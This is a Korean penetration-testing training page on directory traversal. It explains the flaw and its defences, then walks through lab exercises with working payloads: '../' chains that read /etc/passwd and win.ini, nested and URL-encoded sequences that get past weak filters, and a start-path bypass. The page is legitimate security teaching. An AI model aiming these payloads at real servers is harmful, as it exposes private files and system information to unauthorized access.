펜테스트짐

훈련을 통해 당신의 실력을 향상시켜보세요.

디렉토리 순회

모두 27명의 회원님이 완료했어요.

실습 환경

실습을 하시려면 로그인이 필요합니다.

디렉토리 순회 (Directory Traversal) 취약점에 대해 학습하고 실습 문제를 통해 기본적인 공격 기법과 안전하지 않은 필터를 우회하는 방법을 알아봅니다.

디렉토리 순회란?

디렉토리 순회 (Directory Traversal)는 사용자가 조작할 수 있는 입력이 웹 애플리케이션 서버의 파일 시스템에 전달되고 안전하지 않은 방식으로 사용될 때 발생하는 취약점입니다. 공격자는 조작 가능한 매개변수에 닷닷슬래시(../) 또는 닷닷백슬래시(..\) 와 같은 경로 이동 문자를 사용하여 웹 루트 디렉토리(웹 애플리케이션의 최상위 디렉토리)를 벗어나 접근이 제한된 상위 디렉토리에 접근하여 민감하거나 열람되어서는 안되는 디렉토리와 파일을 열람할 수 있게 됩니다.

디렉토리 순회 취약점의 동작 원리

다음과 같이 "filename"이라는 GET 매개변수를 이용해 동적으로 웹 페이지를 반환하는 http://example.com이 있다고 가정합시다.

http://example.com?filename=intro.php

위의 요청을 받은 웹 애플리케이션은 "filename" 매개변수에 지정된 파일명을 서버 파일 시스템의 웹 루트 디렉토리에서 검색하여 존재할 경우 해당 파일의 내용을 보여줍니다. intro.php 파일은 웹 루트 디렉토리에 존재한다고 가정합니다. 참고로 기본 웹 루트 디렉토리는 구동 중인 웹 서버 프로그램에 따라 아래와 같습니다.

IIS - C:\inetpub\wwwroot\
Apache - /var/www/html/ 또는 /var/www/ 등
NginX - /var/www/html/

정상적인 파일 요청 및 응답 과정

불행하게도 example.com은 개발자의 실수로 인해 디렉토리 순회 공격에 취약합니다. 공격자는 "filename" 매개변수를 통해 임의로 조작된 공격 문자열을 보내고 공격자에게 접근 권한이 없는 디렉토리에 액세스할 수 있습니다.

이를 위해 공격자는 현재 디렉토리의 상위 디렉토리로 이동하기 위해 공격 문자열에 닷닷슬래시(../)와 같은 디렉토리 순회 시퀀스를 사용합니다. 윈도우는 리눅스/유닉스와 달리 디렉토리 구분자로 백슬래시(\)를 사용할 수 있다는 점에 유의하세요.

구분	리눅스/유닉스	윈도우
현재 경로	. (Dot, 닷)	. (Dot, 닷)
상위 경로	.. (Dot Dot, 닷닷)	.. (Dot Dot, 닷닷)
디렉토리	/ (Slash, 슬래시)	/ (Slash, 슬래시) 또는 \ (Back-slash, 백슬래시)

디렉토리 순회 시퀀스를 시스템의 루트 디렉토리까지 이동할만큼 충분한 횟수만큼 연속으로 사용(../../../../../../ 이런 형태가 됨)하면 웹 루트 디렉토리를 벗어나 최종적으로 서버의 루트 디렉토리에 접근하게 됩니다. 이 때 공격자가 사용하게 되는 서버상의 사용자 계정은 Apache와 같은 웹 서버 프로그램을 구동하는 사용자 계정(www-data 등)입니다. 즉, 공격자는 웹 서버를 구동하는 사용자 계정에 권한이 있는 디렉토리의 내용과 파일에 대해 접근할 수 있으며, 리눅스 운영체제에서 사용자에 관한 정보가 저장되어 있는 /etc/passwd 파일을 읽기 위해 다음의 조작된 URL을 사용할 수 있습니다.

http://example.com?filename=../../../../etc/passwd

디렉토리 순회 공격을 통한 민감 정보 유출

디렉토리 순회 취약점의 영향

디렉토리 순회 취약점의 영향은 웹 애플리케이션을 구동하는 Apache 등 웹 서버의 사용자 계정에 적용된 ACL(Access Control List, 접근제어목록)에 영향을 받습니다. 일반적으로는 아래와 같은 잠재적 영향이 있습니다.

서버의 디렉토리, 파일에 접근이 가능하여 서버의 디렉토리 구조가 공개됩니다.
서버에서 구동 중인 Apache 또는 기타 다른 서비스의 설정 파일 접근을 통해 중요한 정보가 유출되고 공격자는 공격에 필요한 추가적인 정보를 획득하거나 다른 서비스로 공격을 확대할 수 있습니다.
bash_history 파일 접근을 통해 사용자가 실행했던 명령어 목록에서 데이터베이스 접속 정보 등의 민감한 정보를 알아 낼 수 있습니다.
제한적인 경우이지만 웹 애플리케이션의 파일 업로드 기능이 디렉토리 순회 공격에 취약한 경우 공격자는 파일이 업로드되는 경로를 조작하여 서버의 임의의 경로에 파일(웹쉘)을 업로드할 수 있고 웹 애플리케이션은 원격코드 실행에 노출됩니다.

디렉토리 순회 취약점 예방

디렉토리 순회 취약점을 예방하기 위한 가장 좋은 방법은 서버의 파일 시스템으로 전달되는 파일이나 디렉토리에 대한 요청을 허용하지 않는 것입니다. 하지만 부득이하게 허용해야만 한다면 공격을 어렵게 만들기 위해 다음과 같은 방법을 복합적으로 적용하여야 합니다.

입력 유효성 검사 적용

파일, 디렉토리에 대한 요청을 허용할 경우 요청된 파일명에 상위디렉토리(../), 홈디렉토리(~/)와 같은 디렉토리 순회 시퀀스나 NULL byte가 존재하는지 검증하고 제거합니다. 디렉토리 순회 시퀀스를 제거할 때는 공격자가 제거 로직의 결함을 이용해 약간 변형된 공격 문자열(이를테면 ....//와 같은)을 사용할 수 있으므로 반드시 재귀적으로 완전히 제거해야 합니다. 또한 공격 문자열이 URL인코딩이나 다른 인코딩 형식으로 변형될 수 있으므로 가능한 모든 인코딩 형태의 공격 문자열을 검증하세요.

인덱스를 통한 파일 참조

요청에 파일경로나 파일명을 직접 요청하도록 구현하지 않고, 특정 인덱스와 파일을 매핑하여 요청시에는 인덱스를 통해 요청되도록 구현합니다. 예를 들면, some-file.html 파일의 인덱스를 3으로 별도로 관리하고, 요청할 때 example.com?fileidx=3 과 같은 형식을 사용하세요. 유효하지 않은 인덱스에 의한 요청은 거부합니다.

example.com?filename=some-file.html   (X)

example.com?fileidx=3                 (O)

최소 권한 적용

웹 애플리케이션을 구동하는 사용자 계정(www-data와 같은 계정)이 불필요한 시스템 디렉토리나 파일에 접근할 수 없도록 권한을 최소화합니다.

서버 패치

웹 서버, 운영체제 등을 항상 최신 버전으로 유지합니다.

이 밖에 추가적으로 웹 방화벽(WAF)을 사용하는 등의 보호 대책을 통해 보안을 강화하세요.

Path Traversal 테스트 방법

Step 1. 파일 시스템과 연결된 요청 탐색

대상 웹 애플리케이션에서 파일을 처리하는 모든 요청을 찾습니다. 다음은 집중해서 점검해야 할 부분입니다.

1. 파일 업로드/다운로드 기능은 반드시 점검해야 합니다.

2. GET 매개변수, URL 경로 또는 POST Body 데이터, 요청 헤더(Cookie 등)를 통해 웹 페이지나 스타일시트, 템플릿 등의 설정을 동적으로 로드하는 요청이 있는지 점검합니다.

GET 매개변수

http://www.target.com/view.php?file=some-file.html

URL 경로

http://www.target.com/download/some-file.pdf

POST Body 데이터

POST /getcontents HTTP/1.1
Host: www.target.com
...생략...

filename=some-file.html

Cookie 요청 헤더를 통한 템플릿 동적 생성

Cookie: bbc_id=bcae2ff6d760458ebbee5b48df22150c; bbc_asx=1245431 ; bbc_template=some-template

3. 요청에 파일명이나 디렉토리명이 사용된 요청을 찾습니다. 가령 이미지 파일이나 보고서 등의 PDF 파일을 가져와 웹 브라우저에 로딩하는 경우가 해당됩니다.

Step 2. 디렉토리 순회 공격에 취약한지 점검

의심되는 요청을 찾았다면 디렉토리 순회 시퀀스를 이용해 /etc/passwd 또는 win.ini 파일을 읽을 수 있는지 확인합니다.

리눅스/유닉스 계열 (/etc/passwd)

http://www.target.com/view.php?file=../../../../../etc/passwd

윈도우 (win.ini)

http://www.target.com/view.php?file=../../../../../windows/win.ini
http://www.target.com/view.php?file=..\..\..\..\..\windows\win.ini

웹 브라우저를 통해 해당 파일의 내용이 표시된다면 디렉토리 순회 공격에 취약한 것입니다. 하지만 개발자가 디렉토리 순회 공격을 방어하기 위해 사용자로부터 전달받은 데이터에 대해 유효성 검사를 할 경우 위와 같은 기본적인 방법은 차단될 수 있습니다. 이런 경우 필터 우회를 시도해야 합니다.

Step 3. 유효성 검사 우회

안전하지 않은 방식으로 구현된 필터는 검증 로직의 결함을 파악하여 우회할 수 있습니다.

닷닷슬래시(../) 와 닷닷백슬래시(..\)를 제거하도록 필터를 적용했으나 재귀적으로 제거하지 않는 필터의 경우에는 다음과 같은 공격 문자열을 통해 우회를 시도해봅니다.

....//   
..././
....\\
...\.\
....\/
..../\

위의 공격 문자열은 필터를 통과한 후에도 유효한 디렉토리 순회 시퀀스가 되므로 여전히 상위 디렉토리로 이동이 가능하게 됩니다. (음영 처리된 부분은 필터에 의해 제거되는 부분입니다.)

....//     -----필터----->     ../
..././     -----필터----->     ../
....\\     -----필터----->     ..\
...\.\     -----필터----->     ..\
....\/     -----필터----->     ../
..../\     -----필터----->     ..\

또는 디렉토리 순회 시퀀스를 구성하는 각각의 문자를 다른 인코딩 형식으로 변환하고 이를 조합한 공격 문자열을 통해 우회가 가능할 수 있습니다.

문자	URL 인코딩	16비트 유니코드 인코딩
. (닷,dot)	%2e	%u002e
/ (슬래시)	%2f	%u2215
\ (백슬래시)	%5c	%u2216

디렉토리 순회 시퀀스 문자의 다른 인코딩

다음은 위의 인코딩 형식을 통해 조합한 디렉토리 순회 시퀀스들입니다.

URL 인코딩

%2e%2e/%2e%2e%2f%252e%252e%252f%2e%2e\%2e%2e%5c%252e%252e%255c

16 비트 유니코드 인코딩

%u002e%u002e/
%u002e%u002e%u2215
%u002e%u002e\
%u002e%u002e%u2216

PayloadAllTheThings을 방문하여 필터를 우회하기 위한 다양한 페이로드를 확인하세요.

실습 문제 풀이

Exercise 1

Home, About 메뉴를 클릭하면 "page"라는 GET 매개변수를 통해 해당되는 파일명을 요청하고 파일의 내용을 웹 브라우저에 표시합니다.

1. Home, About 페이지를 반환하는 요청을 다음과 같이 변경하여 요청합니다.

http://본인의 가상 실습환경 주소/pathtrav_ex1.php?page=../../../../etc/passwd

2. 웹 브라우저에 /etc/passwd 파일의 내용이 표시됩니다.

Exercise 2

개발자가 "page" 매개변수에 대한 입력값 유효성 검사를 적용했습니다. 이제 1번 문제와 같은 기본 페이로드는 더 이상 사용할 수 없습니다.

1. 1번 문제에서 사용했던 기본 페이로드를 통해 공격을 시도합니다. 다음의 서버 응답을 통해 닷닷슬래시(../)가 모두 제거되었음을 알 수 있습니다.

etc/passwd file can't open.

2. 중첩된 디렉토리 순회 시퀀스를 통해 필터에 의해 닷닷슬래시(../)가 재귀적으로 제거되는지 확인합니다.

http://본인의 가상 실습환경 주소//pathtrav_ex2.php?page=....//test

../test file can't open. 이라는 에러 메시지를 출력합니다. 닷닷슬래시(../)와 같은 디렉토리 순회 시퀀스를 중첩하여 사용한 경우 재귀적으로 제거되지 않음을 알 수 있습니다.

3. 기본 페이로드를 아래와 같이 변형하여 요청합니다.

http://본인의 가상 실습환경 주소/pathtrav_ex2.php?page=....//....//....//....//....//etc/passwd

4. 웹 브라우저에 /etc/passwd 파일의 내용이 표시됩니다.

Exercise 3

이 문제는 "page" 매개변수의 값에 닷닷슬래시(../)와 닷닷백슬래시(..\)가 포함된 경우 제거하지 않고 요청을 차단합니다. 하지만 소스코드에는 사용자 입력에 대한 불필요한 URL 디코딩 작업이 남아있습니다.

1. 기본 페이로드를 통해 공격을 시도해봅니다. 웹 애플리케이션은 No attack! 에러 메시지를 표시하며 요청을 차단합니다.

2. 다양한 페이로드의 조합을 통해 필터로 인해 차단되는 문자를 파악하세요.

../../../../test      (Denied)
..\..\..\..\test      (Denied)
../test               (Denied)
..\test               (Denied)
././././test          (Passed)
....test              (Passed)

위의 테스트 결과를 통해 닷닷슬래시(../), 닷닷백슬래시(..\)가 차단되고 있음을 알 수 있습니다.

3. URL 인코딩을 이용해 닷닷슬래시(../)를 변형합니다. 아래 세 가지의 형태 중 아무거나 사용해도 무방합니다.

..%2f
%2e%2e/
%2e%2e%2f

변형된 URL은 아래와 같습니다. (여기서는 위의 첫번째 형태를 사용함)

http://본인의 가상 실습환경 주소/pathtrav_ex3.php?page=..%2f..%2f..%2f..%2f..%2fetc/passwd

4. 웹 브라우저에 /etc/passwd 파일의 내용이 표시됩니다.

Exercise 4

이 문제는 "page" 매개변수에 참조하려는 파일의 전체 경로를 사용합니다. 개발자는 디렉토리 순회 공격을 예방하기 위해 "page" 매개변수에 파일의 경로가 유효한 시작 경로가 아닌 경우 요청을 차단합니다.

1. 기본 페이로드를 통해 공격을 시도해봅니다. 웹 애플리케이션은 Invalid starting path! 에러 메시지를 표시하며 요청을 차단합니다. 즉, "page" 매개변수의 값이 유효한 시작 경로를 갖는지 체크합니다.

2. 정상적인 요청에서 사용된 경로(/var/www/html/pages/home.html)를 순차적으로 대입해보고 필터가 유효하다고 판단하는 시작 경로를 파악합니다.

/var/../../../../../../../../etc/passwd                      (Denied)
/var/www/../../../../../../../../etc/passwd                  (Denied)
/var/www/html/../../../../../../../../etc/passwd             (Denied)
/var/www/html/pages/../../../../../../../../etc/passwd       (Passed)

/var/www/html/pages/로 시작할 경우 필터를 정상적으로 통과하므로 유효한 시작 경로는 /var/www/html/pages/임을 알 수 있습니다.

3. 시작 경로가 필터의 조건에 부합하도록 "page" 매개변수를 다음과 같이 약간 수정하여 요청합니다.

http://본인의 가상 실습환경 주소/pathtrav_ex3.php?page=/var/www/html/pages/../../../../../../../../etc/passwd

4. 웹 브라우저에 /etc/passwd 파일의 내용이 표시됩니다.

참고 문헌